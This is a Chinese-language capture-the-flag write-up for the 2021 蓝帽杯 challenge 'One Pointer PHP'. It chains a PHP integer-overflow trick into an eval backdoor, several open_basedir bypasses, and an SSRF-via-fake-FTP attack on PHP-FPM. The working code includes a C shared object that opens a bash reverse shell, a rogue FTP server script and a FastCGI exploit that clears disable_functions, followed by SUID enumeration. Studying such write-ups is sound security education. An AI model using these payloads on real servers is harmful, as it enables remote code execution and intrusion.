[2021 蓝帽杯] One Pointer PHP
首发于 我的博客 欢迎来访。格式可能比较清晰一点,看着比较舒服。
前置知识:
1.php数组溢出
32位系统最大整数 => 231=>2,147,483,648 -1 => 2,147,483,647
64位系统最大整数 => 263 => 9,223,372,036,854,775,808 - 1 => 9,223,372,036,854,775,807
如果超出整型范围则解析为浮点型。
2.$a[]的赋值特性
如果我们赋值给$a[100]=2
,则$a[]=3;
默认为$a[101]=3
即赋值给下一个索引值。
#示例1
<?php
$count[]=100000000000000000000000; // 只要大于9,223,372,036,854,775,807就能返回
yes
if($count[]=1)
{
echo "yes";
}
// 输出yes
3.Bypass open_basedir
前言:
open_basedir是php.ini的一个配置选项,可以将用户的目录活动范围锁在范围之内。
如:活动范围是:
则
/var/www/html/test可访问
且
/var/www不可访问
即 限制范围的衍生出来的目录可以访问,以内不能访问
方法一:命令执行函数绕过
新建3.php文件:
<?php include("php://filter/read=convert.base64-encode/resource=../index.php");
成功读取文件
设置了open_basedir后:
禁止读取文件了,如果用system函数读取呢
<?php //include("php://filter/read=convert.base64-encode/resource=../index.php"); system("type ..\index.php");
方法二.glob协议
用这个代码,访问该文件就可以得到根目录的内容
<?php $a = "glob:///*"; if($b = opendir($a)){ while(($file = readdir($b)) !== false){ echo $file.'<br>';//将根目录的文件名字输出 } closedir($b); }
方法三.利用ini_set读取文件内容
<?php mkdir('TES'); chdir('TES'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); $a=file_get_contents('index.php'); var_dump($a); //一定要有这个var_dump,否则是没有回显的 ?>
成功访问
解题
题目给了源码:
<?php class User{ public $count; } ?><?php include "user.php"; if($user=unserialize($_COOKIE["data"])){ $count[++$user->count]=1; if($count[]=1){ $user->count+=1; setcookie("data",serialize($user)); }else{ eval($_GET["backdoor"]); } }else{ $user=new User; $user->count=1; setcookie("data",serialize($user)); } ?>
溢出绕过
这里要求$count[]=1为假
即$count[++$user->count]
中的++$user->count
=9,223,372,036,854,775,807
这样子就可以使得$count[]=1的序列号为9,223,372,036,854,775,808
,溢出了整数最大值,便可以为假
成功执行eval一句话木马,试一下phpinfo()
可以看到phpinfo();成功执行了
注意到phpinfo里面有disable_function
还有限制目录
这里有几个方法 可以绕过,我就说两三个:
读取文件
1.ini_set 的方法
?backdoor=mkdir('qf');chdir('qf');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
这段话的简单过程如下:
mkdir -> 创建新的目录
chdir -> 进入目录
ini_set('open_basedir','..') -> 设置..为可用的路径
chdir(..) -> 上一级
ini_set('open_basedir','/') -> 设置/为可用的路径
scandir -> 列出指定目录的文件,返回的是array
print_r() -> 打印
2.连接蚁剑,上传文件
连接的地址是/add_api.php?backdoor=eval($_POST[8]);
记得添加请求信息的Cookie,值为
data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
连接成功
上传文件a.php
<?php $a = "glob:///*"; if($b = opendir($a)){ while(($file = readdir($b)) !== false){ echo $file.'<br>';//将根目录的文件名字输出 } closedir($b); }
上传成功后,访问即可以得到根目录:
3.利用DirectoryIterator的globa
$a = new DirectoryIterator("glob:///*"); foreach($a as $f){ echo($f->__toString().'<br>'); }
直接复制贴在backdoor后面:
开始下一步解题
分析配置文件
尝试读取flag:
?backdoor=mkdir(%27qf%27);chdir(%27qf%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27/%27));var_dump(file_get_contents(%27/flag%27));
返回了False
看一下本地进程
再看一下fpm的运行端口:
?backdoor=chdir('qf');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/nginx/sites-available/default');
返回 :
发现在9001端口
fastcgi_pass 127.0.0.1:9001;
只接受本地的包,如果要利用FastCgi需要利用SSRF
FPM未授权攻击
1.构造恶意的so文件
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void){ system("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'"); //记住这个监听端口,要与下面的保持一致 } //gcc payload.c -fPIC -shared -o payload.so
这个payload.so的名字也要和php脚本
对应
2.构造SSRF
构造一个文件,file.php
<?php $file = $_GET['file'] ?? '/tmp/file'; $data = $_GET['data'] ?? ':)'; echo($file."</br>".$data."</br>"); var_dump(file_put_contents($file, $data)); ?>
这里的$file = $_GET['file'] ?? '/tmp/file';
??是php7.0的新语法,如果 $_GET['file'] 存在,则取 $_GET['file'] 的值,若不存在,则取 /tmp/file
类似 isset($a)? $a:$b;
3.构造FTP服务器
都说了是FTP服务器,肯定是得能访问,所以这个要在公网上运行这个脚本(python)
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 9999))#这里是ftp的端口 s.listen(1) conn, addr = s.accept() conn.send(b'220 welcome\n') #Service ready for new user. #Client send anonymous username #USER anonymous conn.send(b'331 Please specify the password.\n') #User name okay, need password. #Client send anonymous password. #PASS anonymous conn.send(b'230 Login successful.\n') #User logged in, proceed. Logged out if appropriate. #TYPE I conn.send(b'200 Switching to Binary mode.\n') #Size / conn.send(b'550 Could not get the file size.\n') #EPSV (1) conn.send(b'150 ok\n') #PASV conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2) // 注意端口 conn.send(b'150 Permission denied.\n') #QUIT conn.send(b'221 Goodbye.\n') conn.close()
注意:只要连接到就会退出
4.构造Fastcgi请求
<?php /** * Note : Code is released under the GNU LGPL * * Please do not change the header of this file * * This library is free software; you can redistribute it and/or modify it under the terms of the GNU * Lesser General Public License as published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * See the GNU Lesser General Public License for more details. */ /** * Handles communication with a FastCGI application * * @author Pierrick Charron <pierrick@webstart.fr> * @version 1.0 */ class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } /** * Execute a request to the FastCGI application * * @param array $params Array of parameters * @param String $stdin Content * @return String */ public function request(array $params, $stdin) { $response = ''; // $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); echo('?file=ftp://ip:9999/&data='.urlencode($request)); // fwrite($this->_sock, $request); // do { // $resp = $this->readPacket(); // if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { // $response .= $resp['content']; // } // } while ($resp && $resp['type'] != self::END_REQUEST); // var_dump($resp); // if (!is_array($resp)) { // throw new Exception('Bad request'); // } // switch (ord($resp['content']{4})) { // case self::CANT_MPX_CONN: // throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); // break; // case self::OVERLOADED: // throw new Exception('New request rejected; too busy [OVERLOADED]'); // break; // case self::UNKNOWN_ROLE: // throw new Exception('Role value not known [UNKNOWN_ROLE]'); // break; // case self::REQUEST_COMPLETE: // return $response; // } } } ?> <?php // real exploit start here //if (!isset($_REQUEST['cmd'])) { // die("Check your input\n"); //} //if (!isset($_REQUEST['filepath'])) { // $filepath = __FILE__; //}else{ // $filepath = $_REQUEST['filepath']; //} $filepath = "/var/www/html/add_api.php"; // 文件路径 $req = '/'.basename($filepath); $uri = $req .'?'.'command=whoami'; $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); $code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything $php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = payload.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录 放在tmp是因为普适性比较强,这里有/var/www/html的权限,所以放在这个目录 $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command=whoami', 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => 'ctfking/Tajang', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9001', // 找准服务端口 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); // print_r($_REQUEST); // print_r($params); //echo "Call: $uri\n\n"; echo $client->request($params, $code)."\n"; ?>
访问后生成
把ip改成自己的公网地址
开始一遍监听,一遍运行python脚本(FTP服务器)
再file.php输入参数:
成功反弹shell
但是发现权限被限制了
只能提权了:
find / -perm -u=s -type f 2>/dev/null
提权大概要40s
等待一会输入:
php -a //进入php交互模式
再次利用ini_set拿flag
mkdir('qf');chdir('qf');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));
至此,结束了一切。
感受
个人认为非常难,但是也挺偏向实战一点点,起码是一个很符合CTF的题目。主要的难点还是在理解那个php脚本的,要对应好监听的端口和php脚本里面的代码,其实这道题目用蚁剑的插件也可以做出来,不过要修改几个插件的代码。比较懒就不写了
贴个图证明我真的试过了,要记得改端口,还要把插件里面的函数fsockopen 改为 pfsockopen
附上修改文件:
- \antData\plugins\as_bypass_php_disable_functions-master\payload.js
- \antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js
如果是手工操作的话还是要记得对应好端口。
不过这个蚁剑最后这些文件是创建成功了,但是连接不上就有点尴尬了.可能是我版本和别人不一样改的也就不行了。